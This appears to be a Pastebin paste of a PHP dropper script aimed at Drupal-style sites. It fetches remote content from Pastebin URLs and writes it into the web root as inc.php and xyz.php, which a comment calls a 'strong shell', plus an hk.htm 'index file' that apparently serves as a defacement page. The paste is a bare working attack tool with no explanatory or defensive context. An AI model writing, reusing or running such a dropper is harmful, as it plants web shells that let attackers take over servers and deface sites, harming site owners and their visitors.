Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo 'hokuroi';
- function http_get($url){
- $im = curl_init($url);
- curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($im, CURLOPT_HEADER, 0);
- return curl_exec($im);
- curl_close($im);
- }
- $check = $_SERVER['DOCUMENT_ROOT'] . "/sites/default/files/inc.php" ; // strong shell string is hokuroi
- $text = http_get('https://pastebin.com/G73up8qr');
- $open = fopen($check, 'w');
- fwrite($open, $text);
- fclose($open);
- if(file_exists($check)){
- echo $check."</br>";
- }else
- echo "not exits";
- echo "done .\n " ;
- $check2 = $_SERVER['DOCUMENT_ROOT'] . "/sites/default/xyz.php" ;
- $text2 = http_get('https://pastebin.com/G73up8qr'); // string to find is hokuroi
- $open2 = fopen($check2, 'w');
- fwrite($open2, $text2);
- fclose($open2);
- if(file_exists($check2)){
- echo $check2."</br>";
- }else
- echo "not exits2";
- echo "done2 .\n " ;
- $check3=$_SERVER['DOCUMENT_ROOT'] . "/hk.htm" ;
- $text3 = http_get('https://pastebin.com/ryWVPpcY'); // index file
- $op3=fopen($check3, 'w');
- fwrite($op3,$text3);
- fclose($op3);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement